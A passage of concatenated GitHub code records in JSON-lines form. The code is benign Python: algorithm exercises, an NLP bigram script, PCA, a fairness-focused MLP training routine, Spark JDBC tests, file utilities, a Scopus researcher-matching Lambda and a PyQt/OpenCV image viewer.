main()\n","repo_name":"omrylmz/pddlstream","sub_path":"examples/blocksworld/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"7949676569","text":"import math\nfrom collections import deque\n\ndef solution(n):\n    if n<=1: return n\n    answer = 1\n    sum_queue = deque()\n    for i in range(math.ceil(n/2), 0, -1):\n        sum_queue.append(i)\n        sum_num = sum(sum_queue)\n        \n        if sum_num<n:\n            continue\n        if sum_num==n:\n            answer+=1\n        sum_queue.popleft()            \n        \n    return answer","repo_name":"tooha289/Algorithm","sub_path":"Programmers/levle2_숫자의_표현.py","file_name":"levle2_숫자의_표현.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21340639222","text":"#from __future__ import division\nimport nltk\nimport pickle\nfrom numpy.random import choice\nimport numpy as np\n# Hello today is a lovely day to go outside to the park and have a picnic\nbigram_p = {}\n\nSTART_SYM = \"<s>\"\nPERCENTAGE = 0.095\nDTYPE_ERROR = \"Dytpe does not exist.\"\n\ndef createDist(possible, dtype=\"uniform\"):\n    if(dtype==\"uniform\"):\n        dist = []\n        for i in range(len(possible)):\n            dist.append(1.0/len(possible))\n\n        return dist\n\n    if(dtype==\"right_skewed\"):\n        total = 0\n        for it in possible:\n            total += it[1]\n        dist = []\n        for i in range(len(possible)):\n            dist.append(possible[i][1]/total)\n\n        return dist\n\n    else:\n        return DTYPE_ERROR\n\ndef bigramSort(listOfBigrams):\n    return sorted(listOfBigrams, key=lambda x: x[1], reverse=True)\n\ndef createListOfBigrams():\n    f = open(\"./data/annotated.txt\", \"r\")\n    corpus = f.readlines()\n\n    for sentence in corpus:\n        tokens = sentence.split()\n        tokens = [START_SYM] + tokens \n        bigrams = (tuple(nltk.bigrams(tokens)))\n        for bigram in bigrams:\n            if(bigram[0]==\"(pause)\" or bigram[1]==\"(pause)\" or \\\n                bigram[0]==\"(uh)\" or bigram[1]==\"(uh)\" or \\\n                bigram[0]==\"(um)\" or bigram[1]==\"(um)\"):\n                if bigram not in bigram_p:\n                    bigram_p[bigram] = 1\n                else:\n                    bigram_p[bigram] += 1\n\n    listOfBigrams = [(k, v) for k, v in bigram_p.items()]\n    return bigramSort(listOfBigrams)\n    \n\ndef possibleAlt(sentence, listOfBigrams):\n    sentence = sentence.lower()\n    tokens = sentence.split()\n    # tokens = [START_SYM] + tokens\n    possibleBigrams = []\n    for token in tokens:\n        for j in range(len(listOfBigrams)):\n            # FIXME: could be an 'in', clean RHS string \n            if( (token == listOfBigrams[j][0][0]) or (token == listOfBigrams[j][0][1]) ):\n                possibleBigrams.append(listOfBigrams[j])\n    return bigramSort(possibleBigrams)\n\ndef searchDraw(word, draw):\n    for it in draw:\n        if( (it[0][1] == word) or (it[0][0] == word) ):\n            return 1 \n    return 0\n\ndef returnDraw(word, draw):\n    for it in draw:\n        if( (it[0][1] == word) or (it[0][0] == word) ):\n            return it[0]\n\ndef cleanInput(sent):\n    sent = sent.lower()\n    return sent.replace(\".\", \"\") \\\n                .replace(\",\", \"\") \\\n                .replace(\"\\\"\", \"\")\n\ndef bigramDriver(inputSentence):\n    inputSentence = cleanInput(inputSentence)\n    infile = open('./obj/bigram', 'rb')\n    bigrams = pickle.load(infile)\n    infile.close()\n\n    choices = np.array(possibleAlt(inputSentence, bigrams))\n\n\n    # Number of choices\n\n    print(choices)\n    percentage = int(PERCENTAGE*(inputSentence.count(\" \")+1))\n    draw = choices[choice(choices.shape[0], percentage, p=createDist(choices))]\n    print(draw)\n\n    outputSentence = []\n    for word in list(inputSentence.split()):\n        if(searchDraw(word, draw)==1):\n            tup = returnDraw(word, draw)\n            outputSentence.append(tup[0])\n            outputSentence.append(tup[1])\n        else:\n            outputSentence.append(word)\n            # print(outputSentence)\n\n    return ' '.join(word for word in outputSentence)\n\nif __name__ == \"__main__\":\n    inputSentence = cleanInput(input(\"Input Sentence: \"))\n    print(bigramDriver(inputSentence))","repo_name":"parthvshah/naturalization","sub_path":"bigram.py","file_name":"bigram.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"30133159860","text":"from sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom get_data_sets import *\n\nhdr = get_hdr_load()\nbands = get_bands()\nscalar = StandardScaler()\nscaled_data = scalar.fit_transform(bands)\nprint(scaled_data)\npca = PCA(n_components=10)\npca.fit(scaled_data)\ndata_pca = pca.transform(scaled_data)\nprint(data_pca)\n","repo_name":"geodesit/spectral_ella","sub_path":"data_dimensionality_pca.py","file_name":"data_dimensionality_pca.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10644588679","text":"from typing import List\nclass Solution:\n    def trap(self, height: List[int]) -> int:\n        stk = []\n        res = 0\n        for i in range(len(height)):\n            last = 0\n            while len(stk) and height[stk[-1]] <= height[i]:\n                res += (height[stk[-1]] - last) * (i - stk[-1] - 1)\n                last = height[stk[-1]]\n                stk.pop()\n            if len(stk): res += (i - stk[-1] - 1) * (height[i] - last)\n            stk.append(i)\n        return res\n    def trap(self, height: List[int]) -> int:\n        # 边界条件\n        if not height: return 0\n        n = len(height)\n        maxleft = [0] * n\n        maxright = [0] * n\n        ans = 0\n        # 初始化\n        maxleft[0] = height[0]\n        maxright[n-1] = height[n-1]\n        # 设置备忘录， 分别存储左边和右边最高的柱子高度\n        for i in range(1, n):\n            maxleft[i] = max(maxleft[i-1], height[i])\n        for j in range(n-2, -1, -1):\n            maxright[j] = max(maxright[j+1], height[j])\n        # 一趟遍历， 比较每个位置可以存储多少水\n        for i in range(n):\n            if min(maxleft[i], maxright[i]) > height[i]:\n                ans += min(maxleft[i], maxright[i]) - height[i]\n        return ans\n","repo_name":"ShawnDong98/Algorithm-Book","sub_path":"leetcode/python/42.py","file_name":"42.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3354172033","text":"import numpy as np\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom tqdm import tqdm\n\nfrom algorithms.utils import compute_error, compute_logistic_loss\n\n\ndef algorithm_2_MLP(X, label, protected_attribute,\n                X_val, label_val, protected_attribute_val,\n                X_test, label_test, protected_attribute_test,\n                number_of_groups,\n                parameter_p=0, nr_iterations=10000, initial_train_size='all',\n                standardize_data=False, regularization_parameter=0.001, learning_rate=0.1,\n                batch_size=1, random_seed=12345, hidden_layer_sizes=(100)):\n    '''\n    Implements Algorithm 2 of our paper using an MLP as classifier. Note that we return the final\n    iterate rather than the average over the iterates.\n    :param X: numpy-array with training features; every row corresponds to one datapoint\n    :param label: 1-dim numpy-array with training labels\n    :param protected_attribute: 1-dim numpy-array with training protected attributes\n    :param X_val: same as X for validation data\n    :param label_val: same as label for validation data\n    :param protected_attribute_val: same as protected_attribute for validation data\n    :param X_test: same as X for test data\n    :param label_test: same as label for test data\n    :param protected_attribute_test: same as protected_attribute for test data\n    :param number_of_groups: int providing number of protected groups\n    :param parameter_p: float in [0,1] providing the probability with which to sample from the whole\n                        population\n    :param nr_iterations: int providing the number of iterations\n    :param initial_train_size: int providing the size of the initial training set or or 'all'\n    :param standardize_data: bool whether to standardize the data\n    :param regularization_parameter: float providing the regularization parameter\n    :param learning_rate: float providing the learning rate\n    :param batch_size: int providing the batch size\n    :param random_seed: int providing a random seed to ensure reproducibility\n    :param hidden_layer_sizes: tuple of int providing hidden layer sizes\n    :return: error_history_dict, loss_history_dict, number_operations, differences_in_iterates\n    '''\n\n\n    rng = np.random.default_rng(random_seed)\n\n    dim = X.shape[1]\n    size_train = X.shape[0]\n    size_val = X_val.shape[0]\n\n    if standardize_data:\n        scaler = StandardScaler()\n        scaler.fit(np.vstack((X,X_val)))\n        X = scaler.transform(X)\n        X_val = scaler.transform(X_val)\n        X_test = scaler.transform(X_test)\n\n    model = MLPClassifier(hidden_layer_sizes=hidden_layer_sizes, alpha=regularization_parameter,\n                          batch_size=batch_size, learning_rate_init=learning_rate,\n                          max_iter=500, shuffle=True, activation='relu', solver='sgd',\n                          learning_rate='constant',\n                          random_state=random_seed, tol=0.0001, verbose=False, warm_start=True,\n                          momentum=0.9, nesterovs_momentum=True,\n                          n_iter_no_change=10, max_fun=15000)\n\n    if initial_train_size == 'all':\n        initial_train = np.arange(size_train)\n    else:\n        initial_train = rng.choice(size_train, size=initial_train_size, replace=False)\n\n    model.fit(X[initial_train], label[initial_train])  # this is needed for initializing the model\n\n    error_history_overall_train = np.zeros(nr_iterations)\n    loss_history_overall_train = np.zeros(nr_iterations)\n    error_history_per_group_train = np.zeros((nr_iterations, number_of_groups))\n    loss_history_per_group_train = np.zeros((nr_iterations, number_of_groups))\n    error_history_overall_test = np.zeros(nr_iterations)\n    loss_history_overall_test = np.zeros(nr_iterations)\n    error_history_per_group_test = np.zeros((nr_iterations, number_of_groups))\n    loss_history_per_group_test = np.zeros((nr_iterations, number_of_groups))\n\n\n    for mmm in tqdm(range(nr_iterations)):\n\n        pred_probabilities = model.predict_proba(X_val)\n        _, loss_per_group = compute_logistic_loss(label_val, pred_probabilities,\n                                                  protected_attribute_val,\n                                                  number_of_groups)\n        worst_group = np.argmax(loss_per_group)\n\n        sample_from_whole_population = rng.binomial(1, parameter_p)\n        if sample_from_whole_population:\n            sample_index = rng.choice(size_train, size=batch_size)\n        else:\n            sample_index = rng.choice(np.arange(size_train)[protected_attribute == worst_group],\n                                      size=batch_size)\n\n        model.partial_fit(X[sample_index, :].reshape((-1, dim)), label[sample_index].reshape(-1))\n\n        predictions_train = model.predict(X)\n        pred_probabilities_train = model.predict_proba(X)\n        error_history_overall_train[mmm], error_history_per_group_train[mmm, :] = compute_error(\n            label, predictions_train, protected_attribute, number_of_groups)\n        loss_history_overall_train[mmm], loss_history_per_group_train[mmm,\n                                         :] = compute_logistic_loss(label, pred_probabilities_train,\n                                                                    protected_attribute,\n                                                                    number_of_groups)\n\n        predictions_test=model.predict(X_test)\n        pred_probabilities_test = model.predict_proba(X_test)\n        error_history_overall_test[mmm], error_history_per_group_test[mmm, :] = compute_error(\n            label_test,\n            predictions_test,\n            protected_attribute_test,\n            number_of_groups)\n        loss_history_overall_test[mmm], loss_history_per_group_test[mmm, :] = compute_logistic_loss(\n            label_test, pred_probabilities_test, protected_attribute_test, number_of_groups)\n\n    error_history_dict = {'error_history_overall_train': error_history_overall_train,\n                          'error_history_overall_test': error_history_overall_test,\n                          'error_history_per_group_train': error_history_per_group_train,\n                          'error_history_per_group_test': error_history_per_group_test}\n    loss_history_dict = {'loss_history_overall_train': loss_history_overall_train,\n                         'loss_history_overall_test': loss_history_overall_test,\n                         'loss_history_per_group_train': loss_history_per_group_train,\n                         'loss_history_per_group_test': loss_history_per_group_test}\n\n    return error_history_dict, loss_history_dict\n","repo_name":"amazon-science/active-sampling-for-minmax-fairness","sub_path":"algorithms/algorithm_2_MLP.py","file_name":"algorithm_2_MLP.py","file_ext":"py","file_size_in_byte":6702,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"41494479770","text":"from pyspark.sql.session import SparkSession\n\nfrom spark_pipeline_framework.transformers.framework_jdbc_exporter.v1.framework_jdbc_exporter import (\n    FrameworkJdbcExporter,\n)\nfrom spark_pipeline_framework.utilities.file_modes import FileWriteModes\n\n\ndef test_can_save_via_jdbc(spark_session: SparkSession) -> None:\n    \"\"\"\n    Because testing against a database is a pain and most of the core transformation logic is in the base exporter,\n    we're only testing that the options and format are correctly being exposed.\n    \"\"\"\n    # Arrange\n    view = \"my_view\"\n    jdbc_url = \"jdbc:mysql:user@password:host/db:port\"\n    table = \"my_view_table\"\n    driver = \"org.driver.FakeDriver\"\n\n    # Act\n    exporter = FrameworkJdbcExporter(\n        view=view,\n        jdbc_url=jdbc_url,\n        table=table,\n        driver=driver,\n        mode=FileWriteModes.MODE_OVERWRITE,\n    )\n\n    # Assert\n    options = exporter.getOptions()\n    assert options[\"url\"] == jdbc_url\n    assert options[\"driver\"] == driver\n    assert exporter.getFormat() == \"jdbc\"\n    assert exporter.getMode() == \"overwrite\"\n\n\ndef test_can_specify_additional_writer_options(spark_session: SparkSession) -> None:\n    \"\"\"\n    Because testing against a database is a pain and most of the core transformation logic is in the base exporter,\n    we're only testing that the options and format are correctly being exposed.\n    \"\"\"\n    # Arrange\n    view = \"my_view\"\n    jdbc_url = \"jdbc:mysql:user@password:host/db:port\"\n    table = \"my_view_table\"\n    driver = \"org.driver.FakeDriver\"\n    column_types = \"Column1 BIGINT, Column2 VARCHAR(1024), Column3 TEXT\"\n    options = {\"customTableColumntypes\": column_types}\n\n    # Act\n    exporter = FrameworkJdbcExporter(\n        jdbc_url=jdbc_url,\n        view=view,\n        table=table,\n        driver=driver,\n        mode=FileWriteModes.MODE_OVERWRITE,\n        options=options,\n    )\n\n    # Assert\n    options = exporter.getOptions()\n    assert options[\"url\"] == jdbc_url\n    assert options[\"driver\"] == driver\n    assert exporter.getFormat() == \"jdbc\"\n    assert exporter.getMode() == \"overwrite\"\n    assert options[\"customTableColumntypes\"] == column_types\n","repo_name":"icanbwell/SparkPipelineFramework","sub_path":"spark_pipeline_framework/transformers/framework_jdbc_exporter/v1/test/test_can_save_via_jdbc.py","file_name":"test_can_save_via_jdbc.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"74771576681","text":"\"\"\"\n    Autour: Eraser (ตะวัน)\n\"\"\"\n\n# Standard library imports\nimport os\nimport re\n\n# Third-party imports\nimport requests\nfrom wand.image import Image\n\n\ndef create_file_list(path, extension='.png'):\n    \"\"\"Creates a files list containing all the files\n        in the specified directory with the provided file extension\n\n        Args:\n            path: The path to the directory containing the required files\n            extension: The files extensions (default: .png)\n\n        Return:\n            file_list: Python list containing all the files\n    \"\"\"\n    file_list = []\n    for root, _, files in os.walk(path, topdown=False):\n        for name in files:\n            if name.endswith(extension):\n                full_name = os.path.join(root, name)\n                file_list.append(full_name)\n\n    return file_list\n\n\ndef download_pdf(pdf_url):\n    \"\"\"Downloads a PDF from a public storage and stored it locally.\n\n        Args:\n            paf_url: link to a downloadable PDF.\n\n        Return:\n            None.\n    \"\"\"\n    response = requests.get(pdf_url, allow_redirects=True)\n    open('./data/raw/full.pdf', 'wb').write(response.content)\n\n\ndef convert_pdf(pdf_path):\n    \"\"\"Converts locally stored PDF into image and save it on the same directory.\n\n        Args:\n            paf_path: local path to a PDF for converting it to TIFF format.\n\n        Return:\n            None.\n    \"\"\"\n    with Image(filename=pdf_path, resolution=300, format=\"pdf\") as pdf:\n        pdf.convert('tiff')\n        pdf.save(filename='./data/raw/full.tiff')\n\n\ndef split_filename(path):\n    \"\"\"Splits the provided file paths into three different strings.\n        Each file name contains row number, file name, and the extenstion.\n        Example:\n            1.0.png or 2.3.png\n\n        Args:\n            path: The path to the directory containing the required files.\n\n        Return:\n            row: The number corsponding to row order in the original PDF.\n            name: The file name (A number).\n            extenstion: File extenstion (Default .png)\n    \"\"\"\n    filename = os.path.basename(path)\n    name, extension = os.path.splitext(filename)\n    region = name.split('.')[0]\n\n    return region, name, extension\n\n\ndef natural_sort(path):\n    \"\"\"Sorts the given list in the way that humans expect.\n\n        Args:\n            path: The file path.\n\n        Return:\n            A list of the sorted files.\n    \"\"\"\n    numbers = re.compile('([0-9]+)')\n    return [int(text) if text.isdigit() else text.lower()\n            for text in re.split(numbers, path)]\n","repo_name":"HusseinAzeez/code-snippets","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40065578573","text":"import csv\nimport codecs\nimport requests\nimport boto3\nfrom pyjarowinkler.distance import get_jaro_distance\nimport os\nfrom datetime import datetime\nimport time\n\ns3_client = boto3.client(\"s3\")\nssm_client = boto3.client('ssm')\ninstoken = ssm_client.get_parameter(Name='/service/elsevier/api/user_name/instoken', WithDecryption=True)\napikey = ssm_client.get_parameter(Name='/service/elsevier/api/user_name/key', WithDecryption=True)\nelsevier_headers = {'Accept' : 'application/json', 'X-ELS-APIKey' : apikey['Parameter']['Value'], 'X-ELS-Insttoken' : instoken['Parameter']['Value']}\n\n'''\nGiven a list lst and a number n, splits lst into sections of size n and returns the sections in a list\n'''\ndef split_array(lst, n):\n    ret_arr = []\n    for i in range(0, len(lst), n):\n         ret_arr.append(lst[i:i + n])\n    return ret_arr\n\n'''\nFetches potential matches from the no_matches folder in S3 and compares their\ndepartment and faculty data to areas of interest on Scopus to determine if a match is certain.\nAlso compares the matches name to name variants found in Scopus. Matches that pass this comparison\nare stored in the found_matches folders in .csv files and the matches that fail the comparison are\nstored in the no_matches_cleaned folder in .csv files.\n'''\ndef lambda_handler(event, context):\n    bucket_name = os.environ.get('S3_BUCKET_NAME')\n    key = event['file_key']\n    iteration_number = event['iteration_number']\n    data = s3_client.get_object(Bucket=bucket_name, Key=key)\n    rows = list(csv.DictReader(codecs.getreader(\"utf-8-sig\")(data[\"Body\"])))\n    matches = []\n    \n    # Remove all potential matches with a jaro distance that is under MIN_JARO_DISTANCE\n    for match in rows:\n        if (float(match['JARO_DISTANCE']) > 0.9):\n            matches.append(match)\n\n    matches_split = split_array(matches, 25)\n    found_matches = []\n    no_matches = []\n    for author_subset in matches_split:\n        author_ids = []\n        for author in author_subset:\n            author_ids.append(author['CLOSEST_MATCH_ID'])\n        url = 'https://api.elsevier.com/content/author'\n        query = {'author_id' : author_ids}\n        response = requests.get(url, headers=elsevier_headers, params=query)\n\n        #Error handling for API limit hit\n        #In future add a line to add to database to show error on website\n        if \"error-response\" in response.json():\n            if \"error-code\" in response.json()[\"error-response\"]:\n                if response.json()[\"error-response\"][\"error-code\"] == \"TOO_MANY_REQUESTS\":\n                    dateTimeObject = datetime.fromtimestamp(int(response.headers['X-RateLimit-Reset']))\n                    raise Exception(\"API limit has been exceded! Please try the data pipeline again on \" + str(dateTimeObject) + \"UTC Time\")\n            \n                if response.json()[\"error-response\"][\"error-code\"] == \"RATE_LIMIT_EXCEEDED\":\n                    print(response.json()[\"error-response\"])\n                    print(\"API Throttling, attempt to retry query after 7 seconds\")\n                    time.sleep(7)\n                    response = requests.get(url, headers=elsevier_headers, params=query)\n                    print(response.headers)\n                    # raise Exception(json.dumps(response.json()[\"error-response\"]))\n              \n        if (len(author_ids) == 1):\n            results = response.json()['author-retrieval-response']\n        elif 'author-retrieval-response-list' not in response.json():\n            results = response.json()['author-retrieval-response']\n        elif 'author-retrieval-response' not in response.json():\n            results = response.json()['author-retrieval-response-list']['author-retrieval-response']\n\n        for result in results:\n            found_match = False\n            data = result['coredata']\n            subject_areas = result['subject-areas']['subject-area']\n            for author in author_subset:\n                if author['CLOSEST_MATCH_ID'] in data['dc:identifier']:\n                    faculty = author['PRIMARY_FACULTY_AFFILIATION'].lower().replace('faculty of ', '').replace('ubco - ', '').replace('barber - ', '')\n                    faculty = \"\".join(c for c in faculty if c.isalpha())\n                    faculty = faculty.replace(' ', '')\n                    department = author['PRIMARY_DEPARTMENT_AFFILIATION'].lower().replace(' ', '')\n                    department = \"\".join(c for c in department if c.isalpha())\n                    # Check subject areas against department and faculty data\n                    for subject_area in subject_areas:\n                        if (subject_area['@abbrev'] == 'MEDI'):\n                            subject_area_clean = 'medicine'\n                        else:\n                            subject_area_name = subject_area['$']\n                            subject_area_clean = subject_area_name.lower().replace(' ', '')\n                            subject_area_clean = \"\".join(c for c in subject_area_clean if c.isalpha())\n                        faculty_distance = get_jaro_distance(faculty, subject_area_clean, winkler=True, scaling=0.1)\n                        department_distance = get_jaro_distance(department, subject_area_clean, winkler=True, scaling=0.1)\n                        if (faculty_distance >= 0.95 or department_distance >= 0.95):\n                            found_matches.append(author)\n                            found_match = True\n                            break\n                    # Check name variants\n                    author_profile = result['author-profile'] \n                    if 'name-variant' in author_profile.keys() and found_match == False:\n                        if isinstance(author_profile['name-variant'], dict):\n                            name = author_profile['name-variant']['given-name']\n                            name = name.lower().replace(' ', '')\n                            name = \"\".join(c for c in name if c.isalpha())\n                            name_distance = get_jaro_distance(name, author['CLOSEST_MATCH_NAME_CLEANED'], winkler=True, scaling=0.1)\n                            if (name_distance >= 0.95):\n                                found_matches.append(author)\n                                found_match = True\n                        else:\n                            for name_variant in author_profile['name-variant']:\n                                name = name_variant['given-name']\n                                name = name.lower().replace(' ', '')\n                                name = \"\".join(c for c in name if c.isalpha())\n                                name_distance = get_jaro_distance(name, author['CLOSEST_MATCH_NAME_CLEANED'], winkler=True, scaling=0.1)\n                                if (name_distance >= 0.95):\n                                    found_matches.append(author)\n                                    found_match = True\n                                    break\n                    if (found_match):\n                        break\n                    else:\n                        no_matches.append(author)\n                        break\n    \n    # Store the newly found matches\n    with open('/tmp/found_matches.csv', mode='w', newline='', encoding='utf-8-sig') as no_matches_file:\n        writer = csv.writer(no_matches_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL) \n        file_headers = ['PREFERRED_FIRST_NAME', 'PREFERRED_LAST_NAME', 'PREFERRED_FULL_NAME', 'INSTITUTION_USER_ID', \n                    'EMAIL_ADDRESS', 'PRIMARY_DEPARTMENT_AFFILIATION', 'SECONDARY_DEPARTMENT_AFFILIATION', \n                    'PRIMARY_FACULTY_AFFILIATION', 'SECONDARY_FACULTY_AFFILIATION', 'PRIMARY_CAMPUS_LOCATION', \n                    'PRIMARY_ACADEMIC_RANK', 'PRIMARY_ACADEMIC_TRACK_TYPE', 'SCOPUS_ID', 'EXTRA_IDS', 'JARO_DISTANCE', 'CLOSEST_MATCH_NAME']\n        writer.writerow(file_headers)\n        for match in found_matches:\n            writer.writerow([match['PREFERRED_FIRST_NAME'], match['PREFERRED_LAST_NAME'], match['PREFERRED_FULL_NAME'], \n                             match['INSTITUTION_USER_ID'], match['EMAIL_ADDRESS'], match['PRIMARY_DEPARTMENT_AFFILIATION'], \n                             match['SECONDARY_DEPARTMENT_AFFILIATION'], match['PRIMARY_FACULTY_AFFILIATION'], \n                             match['SECONDARY_FACULTY_AFFILIATION'], match['PRIMARY_CAMPUS_LOCATION'], \n                             match['PRIMARY_ACADEMIC_RANK'], match['PRIMARY_ACADEMIC_TRACK_TYPE'], match['CLOSEST_MATCH_ID'], [], \n                             match['JARO_DISTANCE'], match['CLOSEST_MATCH_NAME']])\n    \n    #upload the data into s3\n    s3 = boto3.resource('s3')\n    bucket = s3.Bucket(bucket_name)\n    key = 'researcher_data/found_matches/found_matches' + str(iteration_number) + '.csv'\n    bucket.upload_file('/tmp/found_matches.csv', key)\n    \n    # Store the missing matches\n    with open('/tmp/no_matches_cleaned.csv', mode='w', newline='', encoding='utf-8-sig') as matches:\n        writer = csv.writer(matches, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n        file_headers = ['PREFERRED_FIRST_NAME', 'PREFERRED_LAST_NAME', 'PREFERRED_FULL_NAME', 'INSTITUTION_USER_ID', \n                    'EMAIL_ADDRESS', 'PRIMARY_DEPARTMENT_AFFILIATION', 'SECONDARY_DEPARTMENT_AFFILIATION', \n                    'PRIMARY_FACULTY_AFFILIATION', 'SECONDARY_FACULTY_AFFILIATION', 'PRIMARY_CAMPUS_LOCATION', \n                    'PRIMARY_ACADEMIC_RANK', 'PRIMARY_ACADEMIC_TRACK_TYPE', 'JARO_DISTANCE', \n                    'CLOSEST_MATCH_NAME', 'CLOSEST_MATCH_ID', 'CLOSEST_MATCH_NAME_CLEANED']\n        writer.writerow(file_headers)\n        for match in no_matches:\n            writer.writerow([match['PREFERRED_FIRST_NAME'], match['PREFERRED_LAST_NAME'], match['PREFERRED_FULL_NAME'],\n                             match['INSTITUTION_USER_ID'], match['EMAIL_ADDRESS'], match['PRIMARY_DEPARTMENT_AFFILIATION'], \n                             match['SECONDARY_DEPARTMENT_AFFILIATION'], match['PRIMARY_FACULTY_AFFILIATION'], \n                             match['SECONDARY_FACULTY_AFFILIATION'], match['PRIMARY_CAMPUS_LOCATION'], \n                             match['PRIMARY_ACADEMIC_RANK'], match['PRIMARY_ACADEMIC_TRACK_TYPE'], match['JARO_DISTANCE'],\n                             match['CLOSEST_MATCH_NAME'], match['CLOSEST_MATCH_ID'], match['CLOSEST_MATCH_NAME_CLEANED']])\n    \n    #upload the missing matches into s3\n    key = 'researcher_data/no_matches_cleaned/no_matches_cleaned' + str(iteration_number) + '.csv'\n    bucket.upload_file('/tmp/no_matches_cleaned.csv', key)\n\n    # Set up the input to identifyDuplicates\n    key = 'researcher_data/duplicates/duplicates' + str(iteration_number) + '.csv'\n    return {'file_key_duplicates': key, 'iteration_number': iteration_number}\n","repo_name":"UBC-CIC/Research-Innovation-Dashboard","sub_path":"back_end/cdk/lambda/cleanNoMatches/cleanNoMatches.py","file_name":"cleanNoMatches.py","file_ext":"py","file_size_in_byte":10757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22018567734","text":"from MainWindow import Ui_MainWindow\r\nfrom pictures_screen import Ui_Picture_Window\r\nfrom PyQt5 import QtWidgets, QtGui, QtCore\r\nimport sys\r\nimport zipfile\r\nimport datetime\r\nimport os\r\nimport numpy as np\r\nimport cv2\r\n\r\nclass MyWindow(QtWidgets.QMainWindow, Ui_MainWindow):\r\n    def __init__(self):\r\n        super(MyWindow, self).__init__()\r\n        self.setupUi(self)\r\n        self.setStyleSheet('.QWidget {background-image: url(background.png);}')\r\n        self.pushButton_start.clicked.connect(self.start)\r\n\r\n    def start(self):\r\n        fname = QtWidgets.QFileDialog.getOpenFileName(self, \"Выбрать архив\", '',\r\n                                                      'Архив (*.zip);;Картинка (*.jpg);;Картинка (*.png)')[0]\r\n        self.screen = Picture_Show(fname)\r\n        self.screen.show()\r\n\r\n\r\nclass Picture_Show(QtWidgets.QMainWindow, Ui_Picture_Window):\r\n    def __init__(self, name):\r\n        super(Picture_Show, self).__init__ ()\r\n        self.setupUi(self)\r\n        self.setStyleSheet('.QWidget {background-image: url(background.png);}')\r\n        if name[-3:] == 'zip':\r\n            files = zipfile.ZipFile(name)\r\n            self.name_of_directory = str(datetime.date.today())\r\n            os.mkdir(self.name_of_directory)\r\n            files.extractall(self.name_of_directory)\r\n            self.many_files()\r\n        else:\r\n            self.one_file(name.split('/')[-1])\r\n\r\n    def change_photo(self, fname, directory_name):\r\n        img = cv2.imread(fname)\r\n        hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\n        h = hsv[:, :, 0]\r\n\r\n        img[h >= 45] = (0, 0, 0)\r\n        img[h <= 19] = (0, 0, 0)\r\n\r\n        gray = np.copy(img[:, :, 0])\r\n\r\n        thr, wb = cv2.threshold(gray, 3, 255, cv2.THRESH_BINARY)\r\n\r\n        num_labels, labels, stats, centroids = cv2.connectedComponentsWithStats(wb, 4, cv2.CV_32S)\r\n\r\n        MAX_W = 70\r\n        MAX_H = 70\r\n        MIN_W = 20\r\n        MIN_H = 20\r\n\r\n        labels_to_add = []\r\n\r\n        for i, stat in enumerate(stats):\r\n            if stat[cv2.CC_STAT_WIDTH] > MAX_W or stat[cv2.CC_STAT_HEIGHT] > MAX_H:\r\n                continue\r\n\r\n            if stat[cv2.CC_STAT_WIDTH] < MIN_W or stat[cv2.CC_STAT_HEIGHT] < MIN_H:\r\n                continue\r\n\r\n            labels_to_add.append (i)\r\n            print(f'Added {i}')\r\n\r\n        wb[:, :] = 0\r\n\r\n        for lbl in labels_to_add:\r\n            print(f'Added {lbl}')\r\n            wb[labels == lbl] = 255\r\n\r\n        kernel = np.ones((9, 9), np.uint8)\r\n        eroded = cv2.erode(wb, kernel, iterations = 1)\r\n        dilated = cv2.dilate(eroded, kernel, iterations = 1)\r\n        img[dilated == 255] = [0, 0, 255]\r\n\r\n        cv2.imwrite(directory_name, img)\r\n        return directory_name\r\n\r\n\r\n    def many_files(self):\r\n        directory = os.fsdecode(self.name_of_directory)\r\n        self.files_path = []\r\n        self.name_of_directory_new = self.name_of_directory + '_new'\r\n        os.mkdir(self.name_of_directory_new)\r\n        for file in os.listdir(directory):\r\n            fname = self.name_of_directory + '/' + str(file)\r\n            directory_name = self.name_of_directory_new + '/' + str(file)\r\n            self.files_path.append(self.change_photo(fname, directory_name))\r\n        self.last_ind_of_photo = 0\r\n        self.set_pixmap(self.files_path[self.last_ind_of_photo])\r\n        print(self.files_path)\r\n        self.pushButton_left.setEnabled(False)\r\n        self.pushButton_right.clicked.connect(self.right)\r\n        self.pushButton_left.clicked.connect(self.left)\r\n\r\n    def right(self):\r\n        self.last_ind_of_photo += 1\r\n        self.set_pixmap(self.files_path[self.last_ind_of_photo])\r\n        if self.last_ind_of_photo == 1:\r\n            self.pushButton_left.setEnabled(True)\r\n        if self.last_ind_of_photo == len(self.files_path) - 1:\r\n            self.pushButton_right.setEnabled(False)\r\n\r\n    def left(self):\r\n        self.last_ind_of_photo -= 1\r\n        self.set_pixmap(self.files_path[self.last_ind_of_photo])\r\n        if self.last_ind_of_photo == 0:\r\n            self.pushButton_left.setEnabled(False)\r\n        if self.last_ind_of_photo == len(self.files_path) - 2:\r\n            self.pushButton_right.setEnabled(True)\r\n\r\n    def one_file(self, fname):\r\n        self.pushButton_left.setEnabled(False)\r\n        self.pushButton_right.setEnabled(False)\r\n        print('processing...')\r\n        self.change_photo(fname, fname[:-4] + '_new' + 